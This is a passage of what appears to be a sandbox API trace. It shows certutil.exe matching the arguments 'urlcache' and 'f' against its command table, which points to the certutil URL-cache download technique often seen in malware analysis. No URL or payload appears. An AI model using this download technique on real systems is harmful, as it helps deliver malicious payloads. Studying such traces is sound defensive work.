(pInfo=0x73563cf4a0, dwFlags=0x0) returned 1 [0126.915] CryptRegisterOIDInfo (pInfo=0x73563cf4a0, dwFlags=0x0) returned 1 [0126.915] CryptRegisterOIDInfo (pInfo=0x73563cf4a0, dwFlags=0x0) returned 1 [0126.915] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="stdio", cchCount2=-1) returned 3 [0126.915] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="LegacyCertSelectionUI", cchCount2=-1) returned 3 [0126.915] lstrcmpW (lpString1="urlcache", lpString2="uSAGE") returned -1 [0126.915] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="gp", cchCount2=-1) returned 3 [0126.915] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="loc", cchCount2=-1) returned 3 [0126.915] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="ent", cchCount2=-1) returned 3 [0126.915] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="q", cchCount2=-1) returned 3 [0126.915] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="dump", cchCount2=-1) returned 3 [0126.915] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="dumpPFX", cchCount2=-1) returned 3 [0126.915] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="asn", cchCount2=-1) returned 3 [0126.915] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="", cchCount2=-1) returned 3 [0126.915] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="decodehex", cchCount2=-1) returned 3 [0126.915] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="encodehex", cchCount2=-1) returned 3 [0126.915] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="decode", cchCount2=-1) returned 3 [0126.916] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="encode", cchCount2=-1) returned 3 [0126.916] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="", cchCount2=-1) returned 3 [0126.916] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="deny", cchCount2=-1) returned 3 [0126.916] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="resubmit", cchCount2=-1) returned 3 [0126.916] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="setattributes", cchCount2=-1) returned 3 [0126.916] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="setextension", cchCount2=-1) returned 3 [0126.916] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="revoke", cchCount2=-1) returned 3 [0126.916] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="isvalid", cchCount2=-1) returned 3 [0126.916] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="", cchCount2=-1) returned 3 [0126.916] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="getconfig", cchCount2=-1) returned 3 [0126.916] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="getconfig2", cchCount2=-1) returned 3 [0126.916] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="getconfig3", cchCount2=-1) returned 3 [0126.916] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="ping", cchCount2=-1) returned 3 [0126.916] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="pingadmin", cchCount2=-1) returned 3 [0126.916] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="CAInfo", cchCount2=-1) returned 3 [0126.916] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="CAPropInfo", cchCount2=-1) returned 3 [0126.916] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="ca.cert", cchCount2=-1) returned 3 [0126.916] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="ca.chain", cchCount2=-1) returned 3 [0126.916] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="GetCRL", cchCount2=-1) returned 3 [0126.916] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="CRL", cchCount2=-1) returned 3 [0126.916] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="shutdown", cchCount2=-1) returned 3 [0126.916] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="", cchCount2=-1) returned 3 [0126.916] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="installCert", cchCount2=-1) returned 3 [0126.916] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="renewCert", cchCount2=-1) returned 3 [0126.916] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="", cchCount2=-1) returned 3 [0126.916] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="schema", cchCount2=-1) returned 3 [0126.916] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="view", cchCount2=-1) returned 1 [0126.916] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="db", cchCount2=-1) returned 3 [0126.916] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="deleterow", cchCount2=-1) returned 3 [0126.916] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="", cchCount2=-1) returned 3 [0126.916] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="backup", cchCount2=-1) returned 3 [0126.916] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="backupDB", cchCount2=-1) returned 3 [0126.916] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="backupKey", cchCount2=-1) returned 3 [0126.916] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="restore", cchCount2=-1) returned 3 [0126.916] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="restoreDB", cchCount2=-1) returned 3 [0126.916] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="restoreKey", cchCount2=-1) returned 3 [0126.916] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="exportPFX", cchCount2=-1) returned 3 [0126.916] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="importPFX", cchCount2=-1) returned 3 [0126.916] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="dynamicfilelist", cchCount2=-1) returned 3 [0126.917] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="databaselocations", cchCount2=-1) returned 3 [0126.917] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="hashfile", cchCount2=-1) returned 3 [0126.917] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="", cchCount2=-1) returned 3 [0126.917] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="store", cchCount2=-1) returned 3 [0126.917] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="enumstore", cchCount2=-1) returned 3 [0126.917] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="addstore", cchCount2=-1) returned 3 [0126.917] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="delstore", cchCount2=-1) returned 3 [0126.917] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="verifystore", cchCount2=-1) returned 1 [0126.917] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="repairstore", cchCount2=-1) returned 3 [0126.917] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="viewstore", cchCount2=-1) returned 1 [0126.917] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="viewdelstore", cchCount2=-1) returned 1 [0126.917] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="UI", cchCount2=-1) returned 3 [0126.917] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="TPMInfo", cchCount2=-1) returned 3 [0126.917] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="attest", cchCount2=-1) returned 3 [0126.917] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="getcert", cchCount2=-1) returned 3 [0126.917] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="", cchCount2=-1) returned 3 [0126.917] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="ds", cchCount2=-1) returned 3 [0126.917] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="dsDel", cchCount2=-1) returned 3 [0126.917] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="dsPublish", cchCount2=-1) returned 3 [0126.917] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="dsCert", cchCount2=-1) returned 3 [0126.917] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="dsCRL", cchCount2=-1) returned 3 [0126.917] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="dsDeltaCRL", cchCount2=-1) returned 3 [0126.917] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="dsTemplate", cchCount2=-1) returned 3 [0126.917] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="dsAddTemplate", cchCount2=-1) returned 3 [0126.917] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="", cchCount2=-1) returned 3 [0126.917] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="ADTemplate", cchCount2=-1) returned 3 [0126.917] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="Template", cchCount2=-1) returned 3 [0126.917] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="TemplateCAs", cchCount2=-1) returned 3 [0126.917] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="CATemplates", cchCount2=-1) returned 3 [0126.917] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="SetCATemplates", cchCount2=-1) returned 3 [0126.917] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="SetCASites", cchCount2=-1) returned 3 [0126.917] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="enrollmentServerURL", cchCount2=-1) returned 3 [0126.917] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="ADCA", cchCount2=-1) returned 3 [0126.917] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="CA", cchCount2=-1) returned 3 [0126.917] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="Policy", cchCount2=-1) returned 3 [0126.917] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="PolicyCache", cchCount2=-1) returned 3 [0126.917] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="CredStore", cchCount2=-1) returned 3 [0126.917] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="InstallDefaultTemplates", cchCount2=-1) returned 3 [0126.917] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="URL", cchCount2=-1) returned 3 [0126.917] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="URLCache", cchCount2=-1) returned 2 [0126.917] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="stdio", cchCount2=-1) returned 1 [0126.917] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="LegacyCertSelectionUI", cchCount2=-1) returned 1 [0126.917] lstrcmpW (lpString1="f", lpString2="uSAGE") returned -1 [0126.917] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="gp", cchCount2=-1) returned 1 [0126.917] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="loc", cchCount2=-1) returned 1 [0126.917] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="ent", cchCount2=-1) returned 3 [0126.918] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="q", cchCount2=-1) returned 1 [0126.918] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="dump", cchCount2=-1) returned 3 [0126.918] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="dumpPFX", cchCount2=-1) returned 3 [0126.918] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="asn", cchCount2=-1) returned 3 [0126.918] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="", cchCount2=-1) returned 3 [0126.918] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="decodehex", cchCount2=-1) returned 3 [0126.918] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="encodehex", cchCount2=-1) returned 3 [0126.918] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="decode", cchCount2=-1) returned 3 [0126.918] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="encode", cchCount2=-1) returned 3 [0126.918] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="", cchCount2=-1) returned 3 [0126.918] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="deny", cchCount2=-1) returned 3 [0126.918] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="resubmit", cchCount2=-1) returned 1 [0126.918] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="setattributes", cchCount2=-1) returned 1 [0126.918] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="setextension", cchCount2=-1) returned 1 [0126.918] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="revoke", cchCount2=-1) returned 1 [0126.918] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="isvalid", cchCount2=-1) returned 1 [0126.918] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="", cchCount2=-1) returned 3 [0126.918] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="getconfig", cchCount2=-1) returned 1 [0126.918] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="getconfig2", cchCount2=-1) returned 1 [0126.918] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="getconfig3", cchCount2=-1) returned 1 [0126.918] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="ping", cchCount2=-1) returned 1 [0126.918] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="pingadmin", cchCount2=-1) returned 1 [0126.918] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="CAInfo", cchCount2=-1) returned 3 [0126.918] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="CAPropInfo", cchCount2=-1) returned 3 [0126.918] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="ca.cert", cchCount2=-1) returned 3 [0126.918] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="ca.chain", cchCount2=-1) returned 3 [0126.918] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="GetCRL", cchCount2=-1) returned 1 [0126.918] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="CRL", cchCount2=-1) returned 3 [0126.918] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="shutdown", cchCount2=-1) returned 1 [0126.918] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="", cchCount2=-1) returned 3 [0126.918] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="installCert", cchCount2=-1) returned 1 [0126.918] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="renewCert", cchCount2=-1) returned 1 [0126.918] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="", cchCount2=-1) returned 3 [0126.918] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="schema", cchCount2=-1) returned 1 [0126.918] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="view", cchCount2=-1) returned 1 [0126.918] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="db", cchCount2=-1) returned 3 [0126.918] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="deleterow", cchCount2=-1) returned 3 [0126.918] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="", cchCount2=-1) returned 3 [0126.918] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="backup", cchCount2=-1) returned 3 [0126.918] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="backupDB", cchCount2=-1) returned 3 [0126.918] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="backupKey", cchCount2=-1) returned 3 [0126.918] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="restore", cchCount2=-1) returned 1 [0126.918] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="restoreDB", cchCount2=-1) returned 1 [0126.918] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="restoreKey", cchCount2=-1) returned 1 [0126.918] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="exportPFX", cchCount2=-1) returned 3 [0126.918] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="importPFX", cchCount2=-1) returned 1 [0126.918] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="dynamicfilelist", cchCount2=-1) returned 3 [0126.918] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="databaselocations", cchCount2=-1) returned 3 [0126.918] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="hashfile", cchCount2=-1) returned 1 [0126.918] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="", cchCount2=-1) returned 3 [0126.918] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="store", cchCount2=-1) returned 1 [0126.919] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="enumstore", cchCount2=-1) returned 3 [0126.919] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="addstore", cchCount2=-1) returned 3 [0126.919] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="delstore", cchCount2=-1) returned 3 [0126.919] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="verifystore", cchCount2=-1) returned 1 [0126.919] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="repairstore", cchCount2=-1) returned 1 [0126.919] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="viewstore", cchCount2=-1) returned 1 [0126.919] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="viewdelstore", cchCount2=-1) returned 1 [0126.919] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="UI", cchCount2=-1) returned 1 [0126.919] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="TPMInfo", cchCount2=-1) returned 1 [0126.919] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="attest", cchCount2=-1) returned 3 [0126.919] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="getcert", cchCount2=-1) returned 1 [0126.919] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="", cchCount2=-1) returned 3 [0126.919] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="ds", cchCount2=-1) returned 3 [0126.919] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="dsDel", cchCount2=-1) returned 3 [0126.919] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="dsPublish", cchCount2=-1) returned 3 [0126.919] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="dsCert", cchCount2=-1) returned 3 [0126.919] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="dsCRL", cchCount2=-1) returned 3 [0126.919] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="dsDeltaCRL", cchCount2=-1) returned 3 [0126.919] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="dsTemplate", cchCount2=-1) returned 3 [0126.919] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="dsAddTemplate", cchCount2=-1) returned 3 [0126.919] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="", cchCount2=-1) returned 3 [0126.919] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="ADTemplate", cchCount2=-1) returned 3 [0126.919] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="Template", cchCount2=-1) returned 1 [0126.919] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="TemplateCAs", cchCount2=-1) returned 1 [0126.919] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="CATemplates", cchCount2=-1) returned 3 [0126.919] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="SetCATemplates", cchCount2=-1) returned 1 [0126.919] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="SetCASites", cchCount2=-1) returned 1 [0126.919] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="enrollmentServerURL", cchCount2=-1) returned 3 [0126.919] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="ADCA", cchCount2=-1) returned 3 [0126.919] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="CA", cchCount2=-1) returned 3 [0126.919] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="Policy", cchCount2=-1) returned 1 [0126.919] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="PolicyCache", cchCount2=-1) returned 1 [0126.919] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="CredStore", cchCount2=-1) returned 3 [0126.919] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="InstallDefaultTemplates", cchCount2=-1) returned 1 [0126.919] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="URL", cchCount2=-1) returned 1 [0126.919] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="URLCache", cchCount2=-1) returned 1 [0126.919] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="pulse", cchCount2=-1) returned 1 [0126.919] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="MachineInfo", cchCount2=-1) returned 1 [0126.919] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="DCInfo", cchCount2=-1) returned 3 [0126.919] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="EntInfo", cchCount2=-1) returned 3 [0126.919] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="TCAInfo", cchCount2=-1) returned 1 [0126.919] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="SCInfo", cchCount2=-1) returned 1 [0126.919] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="SCDump", cchCount2=-1) returned 1 [0126.919] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="", cchCount2=-1) returned 3 [0126.919] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="SCRoots", cchCount2=-1) returned 1 [0126.919] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="", cchCount2=-1) returned 3 [0126.919] CompareStringW 